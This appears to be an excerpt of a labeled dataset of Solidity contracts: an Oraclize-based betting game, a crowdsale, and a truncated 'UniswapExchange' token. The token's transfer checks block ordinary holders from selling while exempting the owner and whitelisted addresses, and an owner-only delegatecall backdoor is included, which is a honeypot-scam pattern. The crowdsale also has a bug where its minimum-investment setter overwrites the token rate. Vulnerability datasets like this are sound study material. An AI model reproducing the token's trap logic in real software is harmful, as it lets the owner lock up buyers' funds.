oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal pure returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal pure returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal pure returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal pure returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal pure returns (string) { return strConcat(_a, _b, "", "", ""); } function parseInt(string _a) internal pure returns (uint) { return parseInt(_a, 0); } function parseInt(string _a, uint _b) internal pure returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal pure returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function stra2cbor(string[] arr) internal pure returns (bytes) { uint arrlen = arr.length; uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } function ba2cbor(bytes[] arr) internal pure returns (bytes) { uint arrlen = arr.length; uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal view returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ require((_nbytes > 0) && (_nbytes <= 32)); bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes[3] memory args = [unonce, nbytes, sessionKeyHash]; bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit); oraclize_randomDS_setCommitment(queryId, keccak256(bytes8(_delay), args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(keccak256(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(keccak256(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = byte(1); copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1)); bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); require(proofVerified); _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){ bool match_ = true; for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){ delete oraclize_randomDS_args[queryId]; } else return false; bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) { uint minLength = length + toOffset; require(to.length >= minLength); uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } } contract ReverseJackpot is usingOraclize { struct Bet { bool win; uint betValue; uint timestamp; address playerAddress; uint randomNumber; } struct Player { uint[] betNumbers; } struct QueryMap { uint betValue; address playerAddress; } bool private gamePaused; uint private minBet; uint private maxBet; uint private oraclizeGas; uint private oraclizeGasPrice; address private owner; uint private currentBetNumber; uint private totalPayouts; uint private totalWins; uint private totalLosses; mapping (address => Player) private playerBetNumbers; mapping (uint => Bet) private pastBets; mapping (uint => QueryMap) private queryIdMap; event BetComplete(bool _win, uint _betNumber, uint _betValue, uint _timestamp, address _playerAddress, uint _randomNumber); event GameStatusUpdate(bool _paused); event OwnerUpdate(address _newOwner); modifier gameIsActive { require(!gamePaused); _; } modifier gameIsNotActive { require(gamePaused); _; } modifier senderIsOwner { require(msg.sender == owner); _; } modifier senderIsOraclize { require(msg.sender == oraclize_cbAddress()); _; } modifier sentEnoughForBet { require(msg.value >= minBet); _; } modifier didNotSendOverMaxBet { require(msg.value <= maxBet); _; } function ReverseJackpot() public { minBet = 100000000000000000; maxBet = 5000000000000000000; oraclizeGas = 500000; oraclizeGasPrice = 4010000000; oraclize_setCustomGasPrice(oraclizeGasPrice); oraclize_setProof(proofType_Ledger); owner = msg.sender; } function() public payable {} function placeBet() public payable gameIsActive sentEnoughForBet didNotSendOverMaxBet { secureGenerateNumber(msg.sender, msg.value); } function secureGenerateNumber(address _playerAddress, uint _betValue) private { bytes32 queryId = oraclize_newRandomDSQuery(0, 4, oraclizeGas); uint convertedId = uint(keccak256(queryId)); newUnprocessedQuery(convertedId, queryId); queryIdMap[convertedId].betValue = _betValue; queryIdMap[convertedId].playerAddress = _playerAddress; } function checkIfWon(uint _currentQueryId, uint _randomNumber) private { bool win; if (_randomNumber != 101) { if (_randomNumber < 90) { win = true; sendPayout(_currentQueryId, ((queryIdMap[_currentQueryId].betValue*110)/100)); } else { win = false; sendOneWei(_currentQueryId); } } else { win = false; sendRefund(_currentQueryId); } logBet(_currentQueryId, _randomNumber, win); } function sendPayout(uint _currentQueryId, uint _amountToPayout) private { uint payout = _amountToPayout; _amountToPayout = 0; queryIdMap[_currentQueryId].playerAddress.transfer(payout); } function sendOneWei(uint _currentQueryId) private { queryIdMap[_currentQueryId].playerAddress.transfer(1); } function sendRefund(uint _currentQueryId) private { queryIdMap[_currentQueryId].playerAddress.transfer(queryIdMap[_currentQueryId].betValue); } function logBet(uint _currentQueryId, uint _randomNumber, bool _win) private { currentBetNumber++; if (_win) { totalWins++; totalPayouts += ((queryIdMap[_currentQueryId].betValue*110)/100); } else { if (_randomNumber != 101) { totalLosses++; } } pastBets[currentBetNumber] = Bet({win:_win, betValue:queryIdMap[_currentQueryId].betValue, timestamp:block.timestamp, playerAddress:queryIdMap[_currentQueryId].playerAddress, randomNumber:_randomNumber}); playerBetNumbers[queryIdMap[_currentQueryId].playerAddress].betNumbers.push(currentBetNumber); BetComplete(_win, currentBetNumber, queryIdMap[_currentQueryId].betValue, block.timestamp, queryIdMap[_currentQueryId].playerAddress, _randomNumber); queryIdMap[_currentQueryId].betValue = 0; } function getLastBetNumber() constant public returns (uint) { return currentBetNumber; } function getTotalPayouts() constant public returns (uint) { return totalPayouts; } function getTotalWins() constant public returns (uint) { return totalWins; } function getTotalLosses() constant public returns (uint) { return totalLosses; } function getBalance() constant public returns (uint) { return this.balance; } function getGamePaused() constant public returns (bool) { return gamePaused; } function getMinBet() constant public returns (uint) { return minBet; } function getMaxBet() constant public returns (uint) { return maxBet; } function getOraclizeGas() constant public returns (uint) { return oraclizeGas; } function getOraclizeGasPrice() constant public returns (uint) { return oraclizeGasPrice; } function getOwnerAddress() constant public returns (address) { return owner; } function getPlayerBetNumbers(address _playerAddress) constant public returns (uint[] _betNumbers) { return (playerBetNumbers[_playerAddress].betNumbers); } function getPastBet(uint _betNumber) constant public returns (bool _win, uint _betValue, uint _timestamp, address _playerAddress, uint _randomNumber) { require(currentBetNumber >= _betNumber); return (pastBets[_betNumber].win, pastBets[_betNumber].betValue, pastBets[_betNumber].timestamp, pastBets[_betNumber].playerAddress, pastBets[_betNumber].randomNumber); } function setOraclizeGas(uint _newGas) public senderIsOwner { oraclizeGas = _newGas; } function setOraclizeGasPrice(uint _newPrice) public senderIsOwner { oraclizeGasPrice = _newPrice + 10000000; oraclize_setCustomGasPrice(oraclizeGasPrice); } function setOwner(address _newOwner) public senderIsOwner { owner = _newOwner; OwnerUpdate(_newOwner); } function pauseGame() public senderIsOwner gameIsActive { gamePaused = true; GameStatusUpdate(true); } function resumeGame() public senderIsOwner gameIsNotActive { gamePaused = false; GameStatusUpdate(false); } function setMaxBet(uint _newMax) public senderIsOwner gameIsNotActive { require(_newMax >= 100000000000000000); maxBet = _newMax; } function setMinBet(uint _newMin) public senderIsOwner gameIsNotActive { require(_newMin >= 100000000000000000); minBet = _newMin; } function selfDestruct() public senderIsOwner gameIsNotActive { selfdestruct(owner); } struct UnprocessedQueryBytes32 { bytes32 unprocessedQueryBytes32; uint listPointer; } mapping(uint => UnprocessedQueryBytes32) public unprocessedQueryBytes32s; uint[] public unprocessedQueryList; function isUnprocessedQuery(uint unprocessedQueryUint) private constant returns(bool isIndeed) { if(unprocessedQueryList.length == 0) return false; return (unprocessedQueryList[unprocessedQueryBytes32s[unprocessedQueryUint].listPointer] == unprocessedQueryUint); } function getUnprocessedQueryCount() public constant returns(uint unprocessedQueryCount) { return unprocessedQueryList.length; } function newUnprocessedQuery(uint unprocessedQueryUint, bytes32 unprocessedQueryBytes32) private { if(isUnprocessedQuery(unprocessedQueryUint)) throw; unprocessedQueryBytes32s[unprocessedQueryUint].unprocessedQueryBytes32 = unprocessedQueryBytes32; unprocessedQueryBytes32s[unprocessedQueryUint].listPointer = unprocessedQueryList.push(unprocessedQueryUint) - 1; } function deleteUnprocessedQuery(uint unprocessedQueryUint) private { if(!isUnprocessedQuery(unprocessedQueryUint)) throw; uint rowToDelete = unprocessedQueryBytes32s[unprocessedQueryUint].listPointer; uint keyToMove = unprocessedQueryList[unprocessedQueryList.length-1]; unprocessedQueryList[rowToDelete] = keyToMove; unprocessedQueryBytes32s[keyToMove].listPointer = rowToDelete; unprocessedQueryList.length--; } function __callback(bytes32 _queryId, string _result, bytes _proof) public senderIsOraclize { uint currentQueryId = uint(keccak256(_queryId)); uint randomNumber = 101; if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) == 0) { randomNumber = (uint(keccak256(_result)) % 100) + 1; } if (queryIdMap[currentQueryId].betValue != 0) { deleteUnprocessedQuery(currentQueryId); checkIfWon(currentQueryId, randomNumber); } } }
0
990
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); uint256 c = _a / _b; return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library SafeERC20 { function safeTransfer( ERC20 _token, address _to, uint256 _value ) internal { require(_token.transfer(_to, _value)); } function safeTransferFrom( ERC20 _token, address _from, address _to, uint256 _value ) internal { require(_token.transferFrom(_from, _to, _value)); } function safeApprove( ERC20 _token, address _spender, uint256 _value ) internal { require(_token.approve(_spender, _value)); } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract PercentRateProvider {} contract PercentRateFeature is Ownable, PercentRateProvider {} contract InvestedProvider is Ownable {} contract WalletProvider is Ownable {} contract RetrieveTokensFeature is Ownable {} contract TokenProvider is Ownable {} contract MintTokensInterface is TokenProvider {} contract MintTokensFeature is MintTokensInterface {} contract CommonSale is PercentRateFeature, InvestedProvider, WalletProvider, RetrieveTokensFeature, MintTokensFeature { function mintTokensExternal(address, uint) public; } contract CrowdsaleWPTByRounds is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20; ERC20 public token; address public wallet; CommonSale public minterContract; uint256 public rate; uint256 public tokensRaised; uint256 public cap; uint256 public openingTime; uint256 public closingTime; uint public minInvestmentValue; function setMinter(address _minterAddr) public onlyOwner { minterContract = CommonSale(_minterAddr); } modifier onlyWhileOpen { require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); constructor () public { rate = 400; wallet = 0xeA9cbceD36a092C596e9c18313536D0EEFacff46; cap = 200000; openingTime = 1534558186; closingTime = 1535320800; minInvestmentValue = 0.02 ether; } function capReached() public view returns (bool) { return tokensRaised >= cap; } function changeRate(uint256 newRate) public onlyOwner { rate = newRate; } function closeRound() public onlyOwner { closingTime = block.timestamp + 1; } function changeMinInvest(uint256 newMinValue) public onlyOwner { rate = newMinValue; } function startNewRound(uint256 _rate, address _wallet, ERC20 _token, uint256 _cap, uint256 _openingTime, uint256 _closingTime) payable public onlyOwner { require(!hasOpened()); rate = _rate; wallet = _wallet; token = _token; cap = _cap; openingTime = _openingTime; closingTime = _closingTime; } function hasClosed() public view returns (bool) { return block.timestamp > closingTime; } function hasOpened() public view returns (bool) { return (openingTime < block.timestamp && block.timestamp < closingTime); } function () payable external { buyTokens(msg.sender); } function buyTokens(address _beneficiary) payable public{ uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); tokensRaised = tokensRaised.add(tokens); minterContract.mintTokensExternal(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _forwardFunds(); } function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal view onlyWhileOpen { require(_beneficiary != address(0)); require(_weiAmount != 0 && _weiAmount > minInvestmentValue); require(tokensRaised.add(_getTokenAmount(_weiAmount)) <= cap); } function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.safeTransfer(_beneficiary, _tokenAmount); } function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } function _forwardFunds() internal { wallet.transfer(msg.value); } }
1
2,807
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private 